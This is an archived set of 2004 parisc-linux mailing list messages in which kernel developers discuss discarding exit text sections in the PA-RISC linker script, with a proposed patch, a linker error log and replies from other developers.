	protocol="application/pgp-signature"; boundary="/APWUufBlM5l5MgA"
X-Trace: ger.gmane.org 1416623131 4585 80.91.229.3 (22 Nov 2014 02:25:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: jbglaw@dvmwest.gt.owl.de  Fri Jan 16 09:27:31 2004
Return-Path: <jbglaw@dvmwest.gt.owl.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id A45D948CC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jan 2004 09:27:31 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 951E54B4E4; Fri, 16 Jan 2004 17:27:30 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20040116161219.GT5550@systemhalted>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Jan 2004 16:27:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20639


--/APWUufBlM5l5MgA
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 2004-01-16 11:12:19 -0500, Carlos O'Donell <carlos@baldric.uwo.ca>
wrote in message <20040116161219.GT5550@systemhalted>:
> On Fri, Jan 16, 2004 at 12:59:40PM +0100, Jan-Benedict Glaw wrote:
> > Thinking again about that, it maybe isn't all *that* hard. Bochs already
> > does know about the concept of shared DRAM and ROM BIOSes etc. Maybe
> > it's really just enough to hack it's memory class (yup, it's written in
> > C++) to not back the memory by RAM or on-disk storage, but to redirect
> > all accesses to physical RAM.
> >=20
> > The same is to be done with I/O ports too, of course... For complex card
> > (SCSI RAID host adaptors), you may need to service interrupts, too:-(
>=20
> How can you use Bochs? It runs a virtualized machine. The purpose of
> running card firmware is to effect the *current* machine with some
> configuration process.

Boch is vitual. *But* it actually got quite real objects to back all the
physical things (RAM, ROM, etc). If you hack these containers to roll
their changes back into *real* RAM/ROM/whatever, you can affect quite
real hardware.

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--/APWUufBlM5l5MgA
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFACBDyHb1edYOZ4bsRAstZAJ4nDf9aeVjPHlkQZLct+OQhD03qVACfbol3
3XzaSmlH7uQUOCL04/o11zA=
=H2s3
-----END PGP SIGNATURE-----

--/APWUufBlM5l5MgA--


From - Thu Nov 08 21:30:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] init and exit text problem
Date: Fri, 16 Jan 2004 17:50:51 +0100
Lines: 207
Approved: news@gmane.org
Message-ID: <4004805D000027C1@ocpmta3.freegates.net>
References: <20040115001829.GF9525@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623131 4590 80.91.229.3 (22 Nov 2014 02:25:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:31 +0000 (UTC)
To: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Fri Jan 16 09:50:59 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF33548A1
	for <parisc-linux@parisc-linux.org>;
	Fri, 16 Jan 2004 09:50:58 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AhXBN-00084r-00; Fri, 16 Jan 2004 17:50:53 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 16 Jan 2004 17:50:51 +0100
In-Reply-To: <20040115001829.GF9525@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Jan 2004 16:50:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20640

>
>Our vmlinux.lds.S doesn't discard init and exit text segments.  Anyone
>want to look into fixing this?
>
is it what you look for:

=========><=========
--- linux-2.6.1-pa3.orig/arch/parisc/kernel/vmlinux.lds.S	2003-09-22 09:06:55.000000000
+0200
+++ linux-2.6.1-pa3/arch/parisc/kernel/vmlinux.lds.S	2004-01-16 18:25:15.175817000
+0100
@@ -102,6 +102,17 @@
 
   _end = . ;
 
+  /* When something in the kernel is NOT compiled as a module, the
+   * module cleanup code and data are put into these segments.  Both
+   * can then be thrown away, as cleanup code is never called unless
+   * it's a module.
+   */
+  /DISCARD/ : {
+	*(.exit.text)
+	*(.exit.data)
+	*(.exitcall.exit)
+	}
+
   /* Stabs debugging sections.  */
   .stab 0 : { *(.stab) }
   .stabstr 0 : { *(.stabstr) }
=========><=========

Unfortunately failled to build kernel because:
[snip]
  	ld  -T arch/parisc/kernel/vmlinux.lds.s arch/parisc/kernel/head.o    init/built-in.o
--start-group  usr/built-in.o  arch/parisc/mm/built-in.o  arch/parisc/kernel/built-in.o
 arch/parisc/math-emu/built-in.o arch/parisc/kernel/init_task.o  kernel/built-in.o
 mm/built-in.o  fs/built-in.o  ipc/built-in.o  security/built-in.o  crypto/built-in.o
 lib/lib.a  arch/parisc/lib/lib.a `gcc -print-libgcc-file-name`  lib/built-in.o
 arch/parisc/lib/built-in.o `gcc -print-libgcc-file-name`  drivers/built-in.o
 sound/built-in.o  arch/parisc/oprofile/built-in.o  net/built-in.o --end-group
 -o .tmp_vmlinux1
local symbol 0: discarded in section `.exit.text' from kernel/built-in.o
local symbol 1: discarded in section `.exit.text' from kernel/built-in.o
local symbol 2: discarded in section `.exit.text' from fs/built-in.o
local symbol 3: discarded in section `.exit.text' from fs/built-in.o
local symbol 4: discarded in section `.exit.text' from fs/built-in.o
local symbol 5: discarded in section `.exit.text' from fs/built-in.o
local symbol 6: discarded in section `.exit.text' from fs/built-in.o
local symbol 7: discarded in section `.exit.text' from fs/built-in.o
local symbol 8: discarded in section `.exit.text' from fs/built-in.o
local symbol 9: discarded in section `.exit.text' from fs/built-in.o
local symbol 10: discarded in section `.exit.text' from fs/built-in.o
local symbol 11: discarded in section `.exit.text' from fs/built-in.o
local symbol 12: discarded in section `.exit.text' from fs/built-in.o
local symbol 13: discarded in section `.exit.text' from fs/built-in.o
local symbol 14: discarded in section `.exit.text' from fs/built-in.o
local symbol 15: discarded in section `.exit.text' from fs/built-in.o
local symbol 16: discarded in section `.exit.text' from fs/built-in.o
local symbol 17: discarded in section `.exit.text' from fs/built-in.o
local symbol 18: discarded in section `.exit.text' from fs/built-in.o
local symbol 19: discarded in section `.exit.text' from fs/built-in.o
local symbol 20: discarded in section `.exit.text' from fs/built-in.o
local symbol 21: discarded in section `.exit.text' from fs/built-in.o
local symbol 22: discarded in section `.exit.text' from fs/built-in.o
local symbol 23: discarded in section `.exit.text' from fs/built-in.o
local symbol 24: discarded in section `.exit.text' from fs/built-in.o
local symbol 25: discarded in section `.exit.text' from fs/built-in.o
local symbol 26: discarded in section `.exit.text' from fs/built-in.o
local symbol 27: discarded in section `.exit.text' from fs/built-in.o
local symbol 28: discarded in section `.exit.text' from drivers/built-in.o
local symbol 29: discarded in section `.exit.text' from drivers/built-in.o
local symbol 30: discarded in section `.exit.text' from drivers/built-in.o
local symbol 31: discarded in section `.exit.text' from drivers/built-in.o
local symbol 32: discarded in section `.exit.text' from drivers/built-in.o
local symbol 33: discarded in section `.exit.text' from drivers/built-in.o
local symbol 34: discarded in section `.exit.text' from drivers/built-in.o
local symbol 35: discarded in section `.exit.text' from drivers/built-in.o
local symbol 36: discarded in section `.exit.text' from drivers/built-in.o
local symbol 37: discarded in section `.exit.text' from drivers/built-in.o
local symbol 38: discarded in section `.exit.text' from drivers/built-in.o
local symbol 39: discarded in section `.exit.text' from drivers/built-in.o
local symbol 40: discarded in section `.exit.text' from drivers/built-in.o
local symbol 41: discarded in section `.exit.text' from drivers/built-in.o
local symbol 42: discarded in section `.exit.text' from drivers/built-in.o
local symbol 43: discarded in section `.exit.text' from drivers/built-in.o
local symbol 44: discarded in section `.exit.text' from drivers/built-in.o
local symbol 45: discarded in section `.exit.text' from drivers/built-in.o
local symbol 46: discarded in section `.exit.text' from drivers/built-in.o
local symbol 47: discarded in section `.exit.text' from drivers/built-in.o
local symbol 48: discarded in section `.exit.text' from drivers/built-in.o
local symbol 49: discarded in section `.exit.text' from drivers/built-in.o
local symbol 50: discarded in section `.exit.text' from drivers/built-in.o
local symbol 51: discarded in section `.exit.text' from drivers/built-in.o
local symbol 52: discarded in section `.exit.text' from drivers/built-in.o
local symbol 53: discarded in section `.exit.text' from drivers/built-in.o
local symbol 54: discarded in section `.exit.text' from drivers/built-in.o
local symbol 55: discarded in section `.exit.text' from drivers/built-in.o
local symbol 56: discarded in section `.exit.text' from drivers/built-in.o
local symbol 57: discarded in section `.exit.text' from drivers/built-in.o
local symbol 58: discarded in section `.exit.text' from drivers/built-in.o
local symbol 59: discarded in section `.exit.text' from drivers/built-in.o
local symbol 60: discarded in section `.exit.text' from drivers/built-in.o
local symbol 61: discarded in section `.exit.text' from drivers/built-in.o
local symbol 62: discarded in section `.exit.text' from drivers/built-in.o
local symbol 63: discarded in section `.exit.text' from drivers/built-in.o
local symbol 64: discarded in section `.exit.text' from drivers/built-in.o
local symbol 65: discarded in section `.exit.text' from drivers/built-in.o
local symbol 66: discarded in section `.exit.text' from drivers/built-in.o
local symbol 67: discarded in section `.exit.text' from drivers/built-in.o
local symbol 68: discarded in section `.exit.text' from drivers/built-in.o
local symbol 69: discarded in section `.exit.text' from drivers/built-in.o
local symbol 70: discarded in section `.exit.text' from drivers/built-in.o
local symbol 71: discarded in section `.exit.text' from drivers/built-in.o
local symbol 72: discarded in section `.exit.text' from drivers/built-in.o
local symbol 73: discarded in section `.exit.text' from drivers/built-in.o
local symbol 74: discarded in section `.exit.text' from drivers/built-in.o
local symbol 75: discarded in section `.exit.text' from drivers/built-in.o
local symbol 76: discarded in section `.exit.text' from drivers/built-in.o
local symbol 77: discarded in section `.exit.text' from drivers/built-in.o
local symbol 78: discarded in section `.exit.text' from drivers/built-in.o
local symbol 79: discarded in section `.exit.text' from drivers/built-in.o
local symbol 80: discarded in section `.exit.text' from drivers/built-in.o
local symbol 81: discarded in section `.exit.text' from drivers/built-in.o
local symbol 82: discarded in section `.exit.text' from drivers/built-in.o
local symbol 83: discarded in section `.exit.text' from drivers/built-in.o
local symbol 84: discarded in section `.exit.text' from drivers/built-in.o
local symbol 85: discarded in section `.exit.text' from drivers/built-in.o
local symbol 86: discarded in section `.exit.text' from drivers/built-in.o
local symbol 87: discarded in section `.exit.text' from drivers/built-in.o
fb_console_exit: discarded in section `.exit.text' from drivers/built-in.o
local symbol 88: discarded in section `.exit.text' from drivers/built-in.o
local symbol 89: discarded in section `.exit.text' from drivers/built-in.o
local symbol 90: discarded in section `.exit.text' from drivers/built-in.o
local symbol 91: discarded in section `.exit.text' from drivers/built-in.o
local symbol 92: discarded in section `.exit.text' from drivers/built-in.o
local symbol 93: discarded in section `.exit.text' from drivers/built-in.o
local symbol 94: discarded in section `.exit.text' from drivers/built-in.o
local symbol 95: discarded in section `.exit.text' from drivers/built-in.o
local symbol 96: discarded in section `.exit.text' from drivers/built-in.o
local symbol 97: discarded in section `.exit.text' from drivers/built-in.o
local symbol 98: discarded in section `.exit.text' from drivers/built-in.o
local symbol 99: discarded in section `.exit.text' from drivers/built-in.o
local symbol 100: discarded in section `.exit.text' from drivers/built-in.o
local symbol 101: discarded in section `.exit.text' from drivers/built-in.o
local symbol 102: discarded in section `.exit.text' from drivers/built-in.o
local symbol 103: discarded in section `.exit.text' from drivers/built-in.o
local symbol 104: discarded in section `.exit.text' from drivers/built-in.o
local symbol 105: discarded in section `.exit.text' from drivers/built-in.o
local symbol 106: discarded in section `.exit.text' from drivers/built-in.o
local symbol 107: discarded in section `.exit.text' from drivers/built-in.o
local symbol 108: discarded in section `.exit.text' from drivers/built-in.o
local symbol 109: discarded in section `.exit.text' from drivers/built-in.o
local symbol 110: discarded in section `.exit.text' from drivers/built-in.o
local symbol 111: discarded in section `.exit.text' from drivers/built-in.o
local symbol 112: discarded in section `.exit.text' from drivers/built-in.o
local symbol 113: discarded in section `.exit.text' from drivers/built-in.o
local symbol 114: discarded in section `.exit.text' from drivers/built-in.o
local symbol 115: discarded in section `.exit.text' from drivers/built-in.o
local symbol 116: discarded in section `.exit.text' from drivers/built-in.o
local symbol 117: discarded in section `.exit.text' from drivers/built-in.o
local symbol 118: discarded in section `.exit.text' from drivers/built-in.o
local symbol 119: discarded in section `.exit.text' from drivers/built-in.o
local symbol 120: discarded in section `.exit.text' from drivers/built-in.o
local symbol 121: discarded in section `.exit.text' from drivers/built-in.o
local symbol 122: discarded in section `.exit.text' from drivers/built-in.o
local symbol 123: discarded in section `.exit.text' from drivers/built-in.o
local symbol 124: discarded in section `.exit.text' from drivers/built-in.o
local symbol 125: discarded in section `.exit.text' from drivers/built-in.o
local symbol 126: discarded in section `.exit.text' from drivers/built-in.o
local symbol 127: discarded in section `.exit.text' from drivers/built-in.o
local symbol 128: discarded in section `.exit.text' from drivers/built-in.o
local symbol 129: discarded in section `.exit.text' from drivers/built-in.o
local symbol 130: discarded in section `.exit.text' from drivers/built-in.o
local symbol 131: discarded in section `.exit.text' from sound/built-in.o
local symbol 132: discarded in section `.exit.text' from sound/built-in.o
local symbol 133: discarded in section `.exit.text' from arch/parisc/oprofile/built-in.o
local symbol 134: discarded in section `.exit.text' from arch/parisc/oprofile/built-in.o
oprofilefs_unregister: discarded in section `.exit.text' from arch/parisc/oprofile/built-in.o
local symbol 135: discarded in section `.exit.text' from arch/parisc/oprofile/built-in.o
local symbol 136: discarded in section `.exit.text' from net/built-in.o
local symbol 137: discarded in section `.exit.text' from net/built-in.o
local symbol 138: discarded in section `.exit.text' from net/built-in.o
local symbol 139: discarded in section `.exit.text' from net/built-in.o
local symbol 140: discarded in section `.exit.text' from net/built-in.o
local symbol 141: discarded in section `.exit.text' from net/built-in.o
local symbol 142: discarded in section `.exit.text' from net/built-in.o
local symbol 143: discarded in section `.exit.text' from net/built-in.o
local symbol 144: discarded in section `.exit.text' from net/built-in.o
local symbol 145: discarded in section `.exit.text' from net/built-in.o
make: *** [.tmp_vmlinux1] Error 1

(btw removing: "+	*(.exit.text)" in the above patch compile and boot (at
least with defconfig which afaik didn't already include module support).

Any idea on what I missed?

hth,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] init and exit text problem
Date: Fri, 16 Jan 2004 17:58:54 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <4004805D000027D4@ocpmta3.freegates.net>
References: <4004805D000027C1@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623132 4595 80.91.229.3 (22 Nov 2014 02:25:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:32 +0000 (UTC)
To: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Fri Jan 16 09:59:00 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B5F34890
	for <parisc-linux@parisc-linux.org>;
	Fri, 16 Jan 2004 09:59:00 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AhXJA-0000hF-00; Fri, 16 Jan 2004 17:58:56 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 16 Jan 2004 17:58:54 +0100
In-Reply-To: <4004805D000027C1@ocpmta3.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Jan 2004 16:59:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20641



btw, I try to print a hard copy of ld.info (the only place where I found
some interesting info about /DISCARD/) with texi2dvi but this scipt failed.
Is somebody know a tips to help me?

Thanks in advance,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] init and exit text problem
Date: 16 Jan 2004 12:30:17 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <1074274218.2443.12.camel@mulgrave>
References: <4004805D000027C1@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623132 4596 80.91.229.3 (22 Nov 2014 02:25:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:32 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: James.Bottomley@SteelEye.com  Fri Jan 16 10:32:16 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0941E484B
	for <parisc-linux@parisc-linux.org>;
	Fri, 16 Jan 2004 10:32:16 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i0GHUHa19640; Fri, 16 Jan 2004 12:30:17 -0500
In-Reply-To: <4004805D000027C1@ocpmta3.freegates.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Jan 2004 17:32:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20642

On Fri, 2004-01-16 at 11:50, Joel Soete wrote:
> +  /* When something in the kernel is NOT compiled as a module, the
> +   * module cleanup code and data are put into these segments.  Both
> +   * can then be thrown away, as cleanup code is never called unless
> +   * it's a module.
> +   */
> +  /DISCARD/ : {
> +	*(.exit.text)
> +	*(.exit.data)

This is wrong...exit.text and exit.data are runtime discards, not link
time ones, precisely because of the compile failures you get.

> +	*(.exitcall.exit)

This one should be OK.

I'm not sure we can actually do this, though...I seem to remember that
our 64 bit toolchain is not too happy doing discard sections.

James





From - Thu Nov 08 21:30:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] init and exit text problem
Date: Fri, 16 Jan 2004 12:14:55 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20040116201455.GN533@tausq.org>
References: <4004805D000027C1@ocpmta3.freegates.net>
	<1074274218.2443.12.camel@mulgrave>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623132 4603 80.91.229.3 (22 Nov 2014 02:25:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:32 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: randolph@tausq.org  Fri Jan 16 11:31:57 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BC6B4843
	for <parisc-linux@parisc-linux.org>;
	Fri, 16 Jan 2004 11:31:57 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 71880CD294; Fri, 16 Jan 2004 12:14:55 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1074274218.2443.12.camel@mulgrave>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Jan 2004 18:31:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20643

> I'm not sure we can actually do this, though...I seem to remember that
> our 64 bit toolchain is not too happy doing discard sections.

Bugs not withstanding, it does seem to work. We have this in the linker
script already for a while:

#ifdef CONFIG_PARISC64
  /* temporary hack until binutils is fixed to not emit these
     for static binaries */
  /DISCARD/ : {
    *(.dynsym)
    *(.dynstr)
    *(.dynamic)
    *(.hash)
  }
#endif

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] init and exit text problem
Date: 16 Jan 2004 13:47:19 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <1074278840.1884.23.camel@mulgrave>
References: <4004805D000027C1@ocpmta3.freegates.net>
	<1074274218.2443.12.camel@mulgrave>  <20040116201455.GN533@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623133 4614 80.91.229.3 (22 Nov 2014 02:25:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:33 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: James.Bottomley@SteelEye.com  Fri Jan 16 11:47:28 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CC514843
	for <parisc-linux@parisc-linux.org>;
	Fri, 16 Jan 2004 11:47:28 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i0GIlMa24029; Fri, 16 Jan 2004 13:47:22 -0500
In-Reply-To: <20040116201455.GN533@tausq.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Jan 2004 18:47:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20644

On Fri, 2004-01-16 at 15:14, Randolph Chung wrote:
> > I'm not sure we can actually do this, though...I seem to remember that
> > our 64 bit toolchain is not too happy doing discard sections.
> 
> Bugs not withstanding, it does seem to work. We have this in the linker
> script already for a while:

OK.

There look to be quite a few other differences between our linker script
and x86's.  I'll go over them and see if we need to change.

James




From - Thu Nov 08 21:30:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] init and exit text problem
Date: 16 Jan 2004 19:12:41 -0500
Lines: 261
Approved: news@gmane.org
Message-ID: <1074298363.2443.47.camel@mulgrave>
References: <4004805D000027C1@ocpmta3.freegates.net>
	<1074274218.2443.12.camel@mulgrave> <20040116201455.GN533@tausq.org> 
